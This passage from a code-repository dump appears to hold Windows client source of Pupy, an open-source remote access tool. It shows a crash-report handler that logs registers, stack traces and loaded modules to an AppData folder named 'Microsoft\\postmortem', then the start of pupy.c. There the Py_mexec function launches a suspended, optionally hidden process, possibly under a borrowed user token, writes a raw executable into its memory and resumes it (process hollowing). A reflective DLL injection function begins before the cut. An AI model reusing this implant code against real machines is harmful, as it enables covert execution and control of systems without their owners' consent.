buffer, buffer_len, &dwWritten, NULL);\n\n        if( !result )\n            break;\n    }\n}\n\n#ifdef _WIN64\nstatic\nUSHORT GetBackTrace(USHORT usFrames, PVOID* BackTrace)\n{\n    USHORT usFrame;\n    CONTEXT ContextRecord;\n    RtlCaptureContext(&ContextRecord);\n\n    dprint(\"GetBackTrace: Start for %p\\n\", ContextRecord.Rip);\n\n    for (usFrame = 0; usFrame < usFrames; usFrame++)\n    {\n        DWORD64 ImageBase;\n        PVOID HandlerData;\n        DWORD64 EstablisherFrame;\n\n        PRUNTIME_FUNCTION pFunctionEntry = RtlLookupFunctionEntry(\n          ContextRecord.Rip, &ImageBase, NULL\n        );\n\n        if (pFunctionEntry == NULL) {\n            dprint(\"GetBackTrace: Break on %p\\n\", ContextRecord.Rip);\n            break;\n        }\n\n        RtlVirtualUnwind(\n          0,\n          ImageBase,\n          ContextRecord.Rip,\n          pFunctionEntry,\n          &ContextRecord,\n          &HandlerData,\n          &EstablisherFrame,\n          NULL\n        );\n\n        BackTrace[usFrame] = (PVOID)ContextRecord.Rip;\n    }\n\n    return usFrame;\n}\n#endif\n\nstatic\nVOID SaveCallingStack(HANDLE hExceptionInfoFile)\n{\n    PVOID pvFrames[MAX_STACK_FRAMES];\n    PVOID pvModuleBase;\n    LPCSTR pcModuleName;\n    USHORT usFrames = 0;\n    USHORT usFrame;\n    DWORD dwWritten;\n\n    char buffer[1024];\n    int buffer_len;\n\n#ifdef _WIN64\n    usFrames = GetBackTrace(\n      MAX_STACK_FRAMES, pvFrames\n    );\n#else\n    usFrames = CaptureStackBackTrace(\n      0, MAX_STACK_FRAMES, pvFrames, NULL\n    );\n#endif\n\n    for(usFrame = 0; usFrame < usFrames; usFrame ++) {\n\n      if (MyFindMemoryModuleNameByAddr(\n            pvFrames[usFrame], &pcModuleName, &pvModuleBase, NULL)) {\n          buffer_len = snprintf(\n            buffer,\n            sizeof(buffer) - 1,\n            \"+ %u:\\t[PC %p]\\tMEM:%s+0x%x\\n\",\n            usFrame,\n            pvFrames[usFrame],\n            pcModuleName,\n            ((UINT_PTR) pvFrames[usFrame]) - ((UINT_PTR) pvModuleBase)\n        );\n      } else {\n        HMODULE hSymbolModule;\n        CHAR szModName[MAX_PATH];\n        PCHAR pcModName = szModName;\n        BOOL blFound = GetModuleHandleExA(\n          GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,\n          (LPCSTR) pvFrames[usFrame],\n          &hSymbolModule\n        );\n\n        if (blFound && GetModuleFileNameA(\n            hSymbolModule, szModName, sizeof(szModName))) {\n\n          PCHAR pcLastDm = strrchr(szModName, '\\\\');\n          if (pcLastDm)\n            pcModName = pcLastDm + 1;\n\n          buffer_len = snprintf(\n              buffer,\n              sizeof(buffer) - 1,\n              \"+ %lu:\\t[PC %p]\\tSYS:%s+0x%x\\n\",\n              usFrame, pvFrames[usFrame],\n              pcModName,\n              ((UINT_PTR)pvFrames[usFrame]) - ((UINT_PTR)hSymbolModule)\n          );\n        } else {\n          buffer_len = snprintf(\n              buffer,\n              sizeof(buffer) - 1,\n              \"+ %lu:\\t[PC %p]\\t?\\t\\t\\n\",\n              usFrame,\n              pvFrames[usFrame]\n          );\n        }\n      }\n\n      if (buffer_len > 0)\n        WriteFile(hExceptionInfoFile, buffer, buffer_len, &dwWritten, NULL);\n    }\n}\n\nstatic\nVOID WriteToFile(HANDLE hFile, LPCSTR lpcstr)\n{\n  DWORD dwWritten;\n  WriteFile(hFile, lpcstr, strlen(lpcstr), &dwWritten, NULL);\n}\n\nstatic\nVOID MyEnumerateLoadedLibraries(HANDLE hExceptionInfoFile)\n{\n  HMODULE hMods[1024];\n  DWORD cbNeeded;\n  DWORD dwWritten;\n  unsigned int i;\n  HANDLE hCurrentProcess = GetCurrentProcess();\n  HANDLE hPsapi = LoadLibraryA(\"PSAPI.DLL\");\n  EnumProcessModules_t pEnumProcessModules = (EnumProcessModules_t)\n    GetProcAddress(hPsapi, \"EnumProcessModules\");\n\n  if (!pEnumProcessModules) {\n    dprint(\"Couldn't find pEnumProcessModules\\n\");\n    return;\n  }\n\n  if (!pEnumProcessModules(hCurrentProcess, hMods, sizeof(hMods), &cbNeeded)) {\n    dprint(\"EnumProcessModules failed\\n\");\n    return;\n  }\n\n  for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {\n      CHAR szModName[MAX_PATH];\n      CHAR dll_info[MAX_PATH];\n      int dll_info_len;\n\n      memset(dll_info, 0x0, sizeof(dll_info));\n      memset(szModName, 0x0, sizeof(dll_info));\n\n      if (!GetModuleFileNameA(hMods[i], szModName, sizeof(szModName)))\n        continue;\n\n      dll_info_len = snprintf(\n        dll_info, sizeof(dll_info) - 1,\n        \"+ %p\\t%s\\n\", hMods[i], szModName\n      );\n\n      dprint(dll_info);\n\n      if (dll_info_len > 0)\n        WriteFile(hExceptionInfoFile, dll_info, dll_info_len, &dwWritten, NULL);\n  }\n\n  dprint(\"DLLs enumeration completed\\n\");\n}\n\nstatic\nvoid SaveExceptionInfo(\n    HMODULE hDbgHelp, LPCWSTR pwzFolder,\n      EXCEPTION_POINTERS* pExceptionPointers) {\n\n    HANDLE hExceptionInfoFile = INVALID_HANDLE_VALUE;\n    WCHAR einfo_path[MAX_PATH];\n    CHAR einfo_buf[8192];\n    DWORD dwWritten;\n\n    int einfo_buf_size;\n    int pystack_saved;\n\n    dprint(\"SaveExceptionInfo start..\\n\");\n\n    if (!(pExceptionPointers && pExceptionPointers->ExceptionRecord\n            && pExceptionPointers->ContextRecord)) {\n      dprint(\"No exception info!\\n\");\n    }\n\n    _snwprintf(\n      einfo_path, (sizeof(einfo_path) / 2) - 1,\n      L\"%s\\\\tmp_dump_%d.einfo\", pwzFolder, GetCurrentProcessId()\n    );\n\n    dwprint(L\"File with exception info: %s\\n\", einfo_path);\n\n    hExceptionInfoFile = CreateFileW(\n      einfo_path,\n      FILE_APPEND_DATA,\n      0, NULL,\n      OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,\n      NULL\n    );\n\n    if (hExceptionInfoFile == NULL || hExceptionInfoFile == INVALID_HANDLE_VALUE) {\n      dprint(\"Failed to create exception info file\\n\");\n      return;\n    }\n\n    if (pExceptionPointers) {\n      einfo_buf_size = snprintf(\n        einfo_buf, sizeof(einfo_buf) - 1,\n        \"\\nCatch fatal exception: Code: %08x (%s)\\n\"\n        \"Flags: %08x Address: %p\\n\"\n        \"Registers:\\n\"\n\n#ifdef _WIN64\n        \"RSP: %016x RBP: %016x RIP: %016x\\n\"\n        \"RAX: %016x RBX: %016x RCX: %016x RDX: %016x\\n\"\n        \"RSI: %016x RDI: %016x R8:  %016x R9:  %016x\\n\"\n        \"R10: %016x R11: %016x R12: %016x R13: %016x\\n\"\n        \"R14: %016x R15: %016x\\n\",\n#else\n        \"ESP: %08x EBP: %08x EIP: %08x\\n\"\n        \"EAX: %08x EBX: %08x ECX: %08x EDX: %08x\\n\"\n        \"ESI: %08x EDI: %08x\\n\",\n#endif\n\n        pExceptionPointers->ExceptionRecord->ExceptionCode,\n        code2str(pExceptionPointers->ExceptionRecord->ExceptionCode),\n        pExceptionPointers->ExceptionRecord->ExceptionFlags,\n        pExceptionPointers->ExceptionRecord->ExceptionAddress,\n\n#ifdef _WIN64\n        pExceptionPointers->ContextRecord->Rsp,\n        pExceptionPointers->ContextRecord->Rbp,\n        pExceptionPointers->ContextRecord->Rip,\n        pExceptionPointers->ContextRecord->Rax,\n        pExceptionPointers->ContextRecord->Rbx,\n        pExceptionPointers->ContextRecord->Rcx,\n        pExceptionPointers->ContextRecord->Rdx,\n        pExceptionPointers->ContextRecord->Rsi,\n        pExceptionPointers->ContextRecord->Rdi,\n        pExceptionPointers->ContextRecord->R8,\n        pExceptionPointers->ContextRecord->R9,\n        pExceptionPointers->ContextRecord->R10,\n        pExceptionPointers->ContextRecord->R11,\n        pExceptionPointers->ContextRecord->R12,\n        pExceptionPointers->ContextRecord->R13,\n        pExceptionPointers->ContextRecord->R14,\n        pExceptionPointers->ContextRecord->R15\n#else\n        pExceptionPointers->ContextRecord->Esp,\n        pExceptionPointers->ContextRecord->Ebp,\n        pExceptionPointers->ContextRecord->Eip,\n        pExceptionPointers->ContextRecord->Eax,\n        pExceptionPointers->ContextRecord->Ebx,\n        pExceptionPointers->ContextRecord->Ecx,\n        pExceptionPointers->ContextRecord->Edx,\n        pExceptionPointers->ContextRecord->Esi,\n        pExceptionPointers->ContextRecord->Edi\n#endif\n      );\n\n      if (einfo_buf_size > 0)\n        WriteFile(\n          hExceptionInfoFile, einfo_buf, einfo_buf_size, &dwWritten, NULL\n        );\n    } else {\n        static const char no_exception_header[] = \"\\nNon-exception crash report\\n\";\n        DWORD dwWritten = 0;\n\n        WriteFile(\n          hExceptionInfoFile, no_exception_header, sizeof(no_exception_header)-1,\n          &dwWritten, NULL\n        );\n    }\n\n    dprint(\"Enumerating libraries..\\n\");\n    WriteToFile(hExceptionInfoFile, \"\\nMemory modules:\\n\");\n    MyEnumerateLibraries(SaveLibraryInfo, (PVOID) hExceptionInfoFile);\n\n    WriteToFile(hExceptionInfoFile, \"\\nNormal modules:\\n\");\n    MyEnumerateLoadedLibraries(hExceptionInfoFile);\n\n    dprint(\"Generating stack trace ..\\n\");\n\n    if (pExceptionPointers) {\n      if (hDbgHelp) {\n        WriteToFile(hExceptionInfoFile, \"\\nException Stack trace:\\n\");\n        SaveContextStack(\n          hDbgHelp, hExceptionInfoFile, pExceptionPointers->ContextRecord\n        );\n      } else {\n        WriteToFile(\n          hExceptionInfoFile,\n          \"\\nFailed to save Exception Stack trace: DBGHELP not found\\n\"\n        );\n      }\n    } else {\n      WriteToFile(hExceptionInfoFile, \"\\nCurrent stack trace:\\n\");\n      SaveCallingStack(hExceptionInfoFile);\n    }\n\n    dprint(\"Try to save python stack\\n\");\n    WriteToFile(hExceptionInfoFile, \"\\nCurrent Python stacks (if any):\\n\");\n\n    pystack_saved = Py_GetCurrentThreadStackTrace(\n      SavePythonStackTrace, (PVOID) hExceptionInfoFile\n    );\n\n    dprint(\"Exception info saved (python=%d)\\n\", pystack_saved);\n    CloseHandle(hExceptionInfoFile);\n}\n\nLONG WINAPI Postmortem(PEXCEPTION_POINTERS pExceptionPointers)\n{\n  WCHAR appdata_local[MAX_PATH];\n  HMODULE hShell32 = LoadLibraryA(\"SHELL32.DLL\");\n  HMODULE hDbgHelp = LoadLibraryA(\"DBGHELP.DLL\");\n\n  SHGetFolderPathAndSubDirW_t pSHGetFolderPathAndSubDirW = NULL;\n\n  if (pExceptionPointers && pExceptionPointers->ExceptionRecord) {\n    dprint(\n      \"Catch fatal exception: Code: %08x (%s) Flags: %08x Address: %p\\n\",\n      pExceptionPointers->ExceptionRecord->ExceptionCode,\n      code2str(pExceptionPointers->ExceptionRecord->ExceptionCode),\n      pExceptionPointers->ExceptionRecord->ExceptionFlags,\n      pExceptionPointers->ExceptionRecord->ExceptionAddress\n    );\n  } else {\n      dprint(\"Non-exception postmortem call\\n\");\n      pExceptionPointers = NULL;\n  }\n\n  if (hShell32)\n    pSHGetFolderPathAndSubDirW = (SHGetFolderPathAndSubDirW_t) GetProcAddress(\n        hShell32, \"SHGetFolderPathAndSubDirW\");\n\n  if (!pSHGetFolderPathAndSubDirW) {\n    dprint(\"Failed to find SHGetFolderPathAndSubDirW (SHELL32.DLL AT %p)\\n\", hShell32);\n    if (GetTempPathW(sizeof(appdata_local)/sizeof(WCHAR), appdata_local) < 1)\n      return EXCEPTION_CONTINUE_SEARCH;\n  }\n\n  dprint(\"Creating folder for exception info\\n\");\n\n  if (!SUCCEEDED(pSHGetFolderPathAndSubDirW(\n          NULL, CSIDL_LOCAL_APPDATA | CSIDL_FLAG_CREATE, NULL,\n          0, POSTMORTEM_DEST_FOLDER, appdata_local)))\n  {\n      dprint(\"Failed to create exception info folder\\n\");\n      return EXCEPTION_CONTINUE_SEARCH;\n  }\n\n  dwprint(L\"Folder created: %s\\n\", appdata_local);\n\n  dprint(\"Generating crash context info..\\n\");\n  SaveExceptionInfo(hDbgHelp, appdata_local, pExceptionPointers);\n  dprint(\"Crash context saved\\n\");\n\n#ifdef DEBUG\n  if (pExceptionPointers) {\n    if (hDbgHelp) {\n      dprint(\"Generating minidump...\\n\");\n      CreateMiniDump(hDbgHelp, appdata_local, pExceptionPointers);\n    } else {\n      dprint(\"Failed to load DBGHELP\\n\");\n    }\n  }\n#endif\n\n  dprint(\"Postmortem exception filter completed\\n\");\n  return EXCEPTION_CONTINUE_SEARCH;\n}\n\nvoid EnableCrashingOnCrashes()\n{\n  static const DWORD EXCEPTION_SWALLOWING = 0x1;\n\n  const HMODULE kernel32 = LoadLibraryA(\"kernel32.dll\");\n\n  const tGetPolicy pGetPolicy = (tGetPolicy) GetProcAddress(\n    kernel32, \"GetProcessUserModeExceptionPolicy\");\n\n  const tSetPolicy pSetPolicy = (tSetPolicy) GetProcAddress(\n    kernel32, \"SetProcessUserModeExceptionPolicy\");\n\n  if(pGetPolicy && pSetPolicy) {\n    DWORD dwFlags = 0;\n    dprint(\"EnableCrashingOnCrashes: ProcessUserModeExceptionPolicy found\\n\");\n    if(pGetPolicy(&dwFlags)) {\n      dprint(\"EnableCrashingOnCrashes: default policy: %08x\\n\", dwFlags);\n      pSetPolicy(dwFlags & ~EXCEPTION_SWALLOWING);\n    }\n  }\n}\n"
  },
  {
    "path": "client/sources-windows-py3/postmortem.h",
    "content": "#ifndef POSTMORTEM_H_\n#define POSTMORTEM_H_\n\n#include <windows.h>\n\n#ifndef POSTMORTEM_DEST_FOLDER\n#define POSTMORTEM_DEST_FOLDER L\"Microsoft\\\\postmortem\"\n#endif\n\n#pragma pack(push, 4)\n\ntypedef enum {\n    AddrMode1616,\n    AddrMode1632,\n    AddrModeReal,\n    AddrModeFlat\n} ADDRESS_MODE;\n\ntypedef struct _IMAGEHLP_SYMBOL64 {\n  DWORD   SizeOfStruct;\n  DWORD64 Address;\n  DWORD   Size;\n  DWORD   Flags;\n  DWORD   MaxNameLength;\n  CHAR    Name[1];\n} IMAGEHLP_SYMBOL64, *PIMAGEHLP_SYMBOL64;\n\ntypedef struct _IMAGEHLP_SYMBOL {\n  DWORD SizeOfStruct;\n  DWORD Address;\n  DWORD Size;\n  DWORD Flags;\n  DWORD MaxNameLength;\n  CHAR  Name[1];\n} IMAGEHLP_SYMBOL, *PIMAGEHLP_SYMBOL;\n\ntypedef struct _IMAGEHLP_SYMBOL_STORAGE64 {\n    IMAGEHLP_SYMBOL64 symbol;\n  CHAR NameStorage[512];\n} IMAGEHLP_SYMBOL_STORAGE64;\n\ntypedef struct _IMAGEHLP_SYMBOL_STORAGE {\n  IMAGEHLP_SYMBOL symbol;\n  CHAR NameStorage[512];\n} IMAGEHLP_SYMBOL_STORAGE;\n\ntypedef struct _tagADDRESS {\n  DWORD        Offset;\n  WORD         Segment;\n  ADDRESS_MODE Mode;\n} ADDRESS, *LPADDRESS;\n\ntypedef struct _tagADDRESS64 {\n  DWORD64      Offset;\n  WORD         Segment;\n  ADDRESS_MODE Mode;\n} ADDRESS64, *LPADDRESS64;\n\ntypedef struct _KDHELP64 {\n  DWORD64 Thread;\n  DWORD   ThCallbackStack;\n  DWORD   ThCallbackBStore;\n  DWORD   NextCallback;\n  DWORD   FramePointer;\n  DWORD64 KiCallUserMode;\n  DWORD64 KeUserCallbackDispatcher;\n  DWORD64 SystemRangeStart;\n  DWORD64 KiUserExceptionDispatcher;\n  DWORD64 StackBase;\n  DWORD64 StackLimit;\n  DWORD   BuildVersion;\n  DWORD   RetpolineStubFunctionTableSize;\n  DWORD64 RetpolineStubFunctionTable;\n  DWORD   RetpolineStubOffset;\n  DWORD   RetpolineStubSize;\n  DWORD64 Reserved0[2];\n} KDHELP64, *PKDHELP64;\n\ntypedef struct _tagSTACKFRAME64 {\n  ADDRESS64 AddrPC;\n  ADDRESS64 AddrReturn;\n  ADDRESS64 AddrFrame;\n  ADDRESS64 AddrStack;\n  ADDRESS64 AddrBStore;\n  PVOID     FuncTableEntry;\n  DWORD64   Params[4];\n  BOOL      Far;\n  BOOL      Virtual;\n  DWORD64   Reserved[3];\n  KDHELP64  KdHelp;\n} STACKFRAME64, *LPSTACKFRAME64;\n\ntypedef struct _KDHELP {\n  DWORD Thread;\n  DWORD ThCallbackStack;\n  DWORD NextCallback;\n  DWORD FramePointer;\n  DWORD KiCallUserMode;\n  DWORD KeUserCallbackDispatcher;\n  DWORD SystemRangeStart;\n  DWORD ThCallbackBStore;\n  DWORD KiUserExceptionDispatcher;\n  DWORD StackBase;\n  DWORD StackLimit;\n  DWORD Reserved[5];\n} KDHELP, *PKDHELP;\n\ntypedef struct _tagSTACKFRAME {\n  ADDRESS AddrPC;\n  ADDRESS AddrReturn;\n  ADDRESS AddrFrame;\n  ADDRESS AddrStack;\n  PVOID   FuncTableEntry;\n  DWORD   Params[4];\n  BOOL    Far;\n  BOOL    Virtual;\n  DWORD   Reserved[3];\n  KDHELP  KdHelp;\n  ADDRESS AddrBStore;\n} STACKFRAME, *LPSTACKFRAME;\n\ntypedef struct _MINIDUMP_EXCEPTION_INFORMATION {\n  DWORD               ThreadId;\n  PEXCEPTION_POINTERS ExceptionPointers;\n  BOOL                ClientPointers;\n} MINIDUMP_EXCEPTION_INFORMATION, *PMINIDUMP_EXCEPTION_INFORMATION;\n#pragma pack(pop)\n\ntypedef enum _MINIDUMP_TYPE {\n  MiniDumpNormal,\n  MiniDumpWithDataSegs,\n  MiniDumpWithFullMemory,\n  MiniDumpWithHandleData,\n  MiniDumpFilterMemory,\n  MiniDumpScanMemory,\n  MiniDumpWithUnloadedModules,\n  MiniDumpWithIndirectlyReferencedMemory,\n  MiniDumpFilterModulePaths,\n  MiniDumpWithProcessThreadData,\n  MiniDumpWithPrivateReadWriteMemory,\n  MiniDumpWithoutOptionalData,\n  MiniDumpWithFullMemoryInfo,\n  MiniDumpWithThreadInfo,\n  MiniDumpWithCodeSegs,\n  MiniDumpWithoutAuxiliaryState,\n  MiniDumpWithFullAuxiliaryState,\n  MiniDumpWithPrivateWriteCopyMemory,\n  MiniDumpIgnoreInaccessibleMemory,\n  MiniDumpWithTokenInformation,\n  MiniDumpWithModuleHeaders,\n  MiniDumpFilterTriage,\n  MiniDumpWithAvxXStateContext,\n  MiniDumpWithIptTrace,\n  MiniDumpScanInaccessiblePartialPages,\n  MiniDumpValidTypeFlags\n} MINIDUMP_TYPE;\n\ntypedef BOOL (*MiniDumpWriteDump_t)(\n    HANDLE hProcess,\n    DWORD ProcessId,\n    HANDLE hFile,\n    MINIDUMP_TYPE DumpType,\n    PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,\n    PVOID UserStreamParam,\n    PVOID CallbackParam\n);\n\n#define SYMOPT_CASE_INSENSITIVE 0x00000001\n#define SYMOPT_UNDNAME 0x00000002\n#define SYMOPT_DEFERRED_LOADS 0x00000004\n#define SYMOPT_NO_CPP 0x00000008\n#define SYMOPT_LOAD_LINES 0x00000010\n#define SYMOPT_OMAP_FIND_NEAREST 0x00000020\n#define SYMOPT_LOAD_ANYTHING 0x00000040\n#define SYMOPT_IGNORE_CVREC 0x00000080\n#define SYMOPT_NO_UNQUALIFIED_LOADS 0x00000100\n#define SYMOPT_FAIL_CRITICAL_ERRORS 0x00000200\n#define SYMOPT_EXACT_SYMBOLS 0x00000400\n#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x00000800\n#define SYMOPT_IGNORE_NT_SYMPATH 0x00001000\n#define SYMOPT_INCLUDE_32BIT_MODULES 0x00002000\n#define SYMOPT_PUBLICS_ONLY 0x00004000\n#define SYMOPT_NO_PUBLICS 0x00008000\n#define SYMOPT_AUTO_PUBLICS 0x00010000\n#define SYMOPT_NO_IMAGE_SEARCH 0x00020000\n#define SYMOPT_SECURE 0x00040000\n#define SYMOPT_NO_PROMPTS 0x00080000\n#define SYMOPT_ALLOW_ZERO_ADDRESS 0x01000000\n#define SYMOPT_DISABLE_SYMSRV_AUTODETECT 0x02000000\n#define SYMOPT_FAVOR_COMPRESSED 0x00800000\n#define SYMOPT_FLAT_DIRECTORY 0x00400000\n#define SYMOPT_IGNORE_IMAGEDIR 0x00200000\n#define SYMOPT_OVERWRITE 0x00100000\n\n#define SYMOPT_DEBUG 0x80000000\n\n#ifdef _WIN64\n#define MAX_STACK_FRAMES 256\n#else\n#define MAX_STACK_FRAMES 63\n#endif\n\nLONG WINAPI Postmortem(PEXCEPTION_POINTERS pExceptionInfo);\nvoid EnableCrashingOnCrashes(void);\n\n#endif\n"
  },
  {
    "path": "client/sources-windows-py3/pupy.c",
    "content": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n*/\n\n#include <windows.h>\n#include <stdio.h>\n\n#ifdef _PUPY_DYNLOAD\n#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n\n#else\n#include \"Python-dynload.h\"\n#endif\n\n#include \"debug.h\"\n#include \"MyLoadLibrary.h\"\n#include \"base_inject.h\"\n#include \"in-mem-exe.c\"\n\n#include \"pupy_load.h\"\n\nstatic char module_doc[] = DOC(\"Builtins utilities for pupy\");\n\n#ifndef UINTPTR\n #ifndef _WIN32\n   typedef DWORD UINTPTR;\n #else\n   typedef ULONGLONG UINTPTR;\n #endif\n#endif\n\nstatic PyObject *ExecError;\n\n#include \"revision.h\"\n\nstatic HINSTANCE hAppInstance = NULL;\nstatic PyObject *Py_on_exit_session_callback = NULL;\nstatic int is_shared = 0;\n\nvoid on_exit_session(void) {\n    PyGILState_STATE gstate;\n    PyObject * pResult;\n\n    dprint(\n        \"pupy:on_exit_session called, current callback: %p\\n\",\n        Py_on_exit_session_callback);\n\n    if (!Py_on_exit_session_callback)\n        return;\n\n    gstate = PyGILState_Ensure();\n    pResult = PyObject_CallObject(Py_on_exit_session_callback, NULL);\n    PyGILState_Release(gstate);\n}\n\nstatic PyObject *Py_set_exit_session_callback(PyObject *self, PyObject *args)\n{\n        PyObject *old = Py_on_exit_session_callback;\n\n        if (!PyArg_ParseTuple(args, \"O\", &Py_on_exit_session_callback))\n                return NULL;\n\n        Py_XINCREF(Py_on_exit_session_callback);\n        Py_XDECREF(old);\n\n        return PyBool_FromLong(1);\n}\n\nstatic PyObject *Py_get_arch(PyObject *self, PyObject *args)\n{\n#ifdef _WIN64\n        return Py_BuildValue(\"s\", \"x64\");\n#else\n        return Py_BuildValue(\"s\", \"x86\");\n#endif\n}\n\nstatic PyObject *Py_mexec(PyObject *self, PyObject *args) {\n        PROCESS_INFORMATION pi;\n        STARTUPINFO si;\n        SECURITY_ATTRIBUTES saAttr = {\n                sizeof(SECURITY_ATTRIBUTES),\n                NULL,\n                TRUE\n        };\n\n        HANDLE g_hChildStd_IN_Rd = NULL;\n        HANDLE g_hChildStd_IN_Wr = NULL;\n        HANDLE g_hChildStd_OUT_Rd = NULL;\n        HANDLE g_hChildStd_OUT_Wr = NULL;\n        BOOL inherit = FALSE;\n        PyObject* py_redirect_stdio = NULL;\n        PyObject* py_hidden = NULL;\n        DWORD createFlags = CREATE_SUSPENDED|CREATE_NEW_CONSOLE;\n        PyObject* py_cmdline = NULL;\n        char *pe_raw_bytes;\n        int pe_raw_bytes_len;\n\n#ifdef _WIN64\n        long long dupHandleAddressPLL = 0;\n        void **dupHandleAddress = NULL;\n        HANDLE dupHandle = NULL;\n\n        if (!PyArg_ParseTuple(\n                        args,\n                        \"Os#|OOK\",\n                        &py_cmdline, &pe_raw_bytes, &pe_raw_bytes_len,\n                        &py_redirect_stdio, &py_hidden, &dupHandleAddressPLL))\n                // the address of the handle is directly passed with ctypes\n                return NULL;\n\n        dupHandleAddress = (void **) ((DWORD_PTR) dupHandleAddressPLL);\n#else\n        PVOID dupHandleAddress = NULL;\n        HANDLE dupHandle = NULL;\n\n        if (!PyArg_ParseTuple(\n                        args,\n                        \"Os#|OOI\",\n                        &py_cmdline, &pe_raw_bytes, &pe_raw_bytes_len,\n                        &py_redirect_stdio, &py_hidden, &dupHandleAddress))\n                // the address of the handle is directly passed with ctypes\n                return NULL;\n#endif\n\n        if (!(PyUnicode_Check(py_cmdline))) {\n                return PyErr_Format(\n                        PyExc_Exception, \"cmdline must be unicode\"\n                );\n        }\n\n        memset(&si,0,sizeof(STARTUPINFO));\n        memset(&pi,0,sizeof(PROCESS_INFORMATION));\n        si.cb = sizeof(STARTUPINFO);\n\n        if(py_hidden && PyObject_IsTrue(py_hidden)){\n                si.dwFlags |= STARTF_USESHOWWINDOW;\n                si.wShowWindow = SW_HIDE;\n                createFlags |= CREATE_NO_WINDOW;\n        }\n\n        if (!py_redirect_stdio || PyObject_IsTrue(py_redirect_stdio)) {\n                if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) {\n                        return PyErr_Format(PyExc_Exception, \"Error in CreatePipe (IN): Errno %d\", GetLastError());\n                }\n\n                if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) {\n                        CloseHandle(g_hChildStd_IN_Rd);\n                        CloseHandle(g_hChildStd_IN_Wr);\n                        return PyErr_Format(PyExc_Exception, \"Error in CreatePipe (OUT): Errno %d\", GetLastError());\n                }\n\n                si.hStdInput  = g_hChildStd_IN_Rd;\n                si.hStdOutput = g_hChildStd_OUT_Wr;\n                si.hStdError  = g_hChildStd_OUT_Wr;\n                si.dwFlags   |= STARTF_USESTDHANDLES;\n                inherit=TRUE;\n        }\n\n        if (!dupHandleAddress) {\n                BOOL blCreated;\n                if (PyUnicode_Check(py_cmdline)) {\n                        size_t wsize = PyUnicode_GetSize(py_cmdline) + 1;\n                        size_t size = wsize * sizeof(wchar_t);\n\n                        wchar_t *tmpstr = malloc(size);\n                        RtlZeroMemory(tmpstr, size);\n\n                        dprint(\"Py_mexec::unicode cmdline, size=%d\\n\", wsize);\n\n                        PyUnicode_AsWideChar(py_cmdline, tmpstr, wsize);\n                        blCreated = CreateProcessW(\n                                NULL, tmpstr,\n                                &saAttr, NULL, inherit,\n                                createFlags, NULL, NULL, &si, &pi\n                        );\n                        free(tmpstr);\n                } else {\n                        dprint(\"Py_mexec::char cmdline\\n\");\n\n                        blCreated = CreateProcessA(\n                                NULL, PyUnicode_AsUTF8String(py_cmdline),\n                                &saAttr, NULL, inherit,\n                                createFlags, NULL, NULL, &si, &pi\n                        );\n                }\n\n                if(!blCreated) {\n                        CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);\n                        CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);\n\n                        return PyErr_Format(\n                                PyExc_Exception, \"Error in CreateProcess: Errno %d\",\n                                GetLastError()\n                        );\n                }\n\n        } else {\n                BOOL blCreated;\n                dupHandle=(HANDLE) dupHandleAddress;\n\n                if (PyUnicode_Check(py_cmdline)) {\n                        size_t wsize = PyUnicode_GetSize(py_cmdline) + 1;\n                        size_t size = wsize * sizeof(wchar_t);\n\n                        wchar_t *tmpstr = malloc(size);\n\n                        RtlZeroMemory(tmpstr, size);\n\n                        PyUnicode_AsWideChar(py_cmdline, tmpstr, wsize);\n                        blCreated = CreateProcessAsUserW(\n                                dupHandle, NULL, tmpstr, &saAttr,\n                                NULL, inherit, createFlags, NULL, NULL, &si, &pi\n                        );\n                        free(tmpstr);\n                } else {\n                        blCreated = CreateProcessAsUserA(\n                                dupHandle, NULL, PyUnicode_AsUTF8String(py_cmdline), &saAttr,\n                                NULL, inherit, createFlags, NULL, NULL, &si, &pi\n                        );\n                }\n\n                if (!blCreated) {\n                        CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);\n                        CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);\n\n                        return PyErr_Format(\n                                PyExc_Exception, \"Error in CreateProcess: Errno %d dupHandle %x\", GetLastError(),\n                                dupHandle\n                        );\n                }\n        }\n\n        CloseHandle(g_hChildStd_IN_Rd);\n        CloseHandle(g_hChildStd_OUT_Wr);\n\n        if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, pe_raw_bytes)) {\n                DWORD dwErrno = GetLastError();\n\n                TerminateProcess(pi.hProcess, 1);\n                CloseHandle(pi.hProcess);\n                CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);\n                CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);\n                return PyErr_Format(\n                        PyExc_Exception,\n                        \"Error in MapNewExecutableRegionInProcess: Errno %d\",\n                        dwErrno\n                );\n        }\n\n        if (ResumeThread(pi.hThread) == (DWORD)-1) {\n                TerminateProcess(pi.hProcess, 1);\n                CloseHandle(pi.hProcess);\n                CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);\n                CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);\n                return PyErr_Format(\n                        PyExc_Exception,\n                        \"Error in ResumeThread: Errno %d\", GetLastError()\n                );\n        }\n\n        CloseHandle(pi.hThread);\n\n        return Py_BuildValue(\"(III)\", pi.hProcess, g_hChildStd_IN_Wr, g_hChildStd_OUT_Rd);\n}\n\n\nstatic PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)\n{\n        DWORD dwPid;\n        const char *lpDllBuffer;\n        DWORD dwDllLenght;\n        const char *cpCommandLine;\n        PyObject* py_is64bit;\n        int is64bits;\n        if (!PyArg_ParseTuple(args, \"Is#O\", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))\n                return NULL;\n        is64bits = 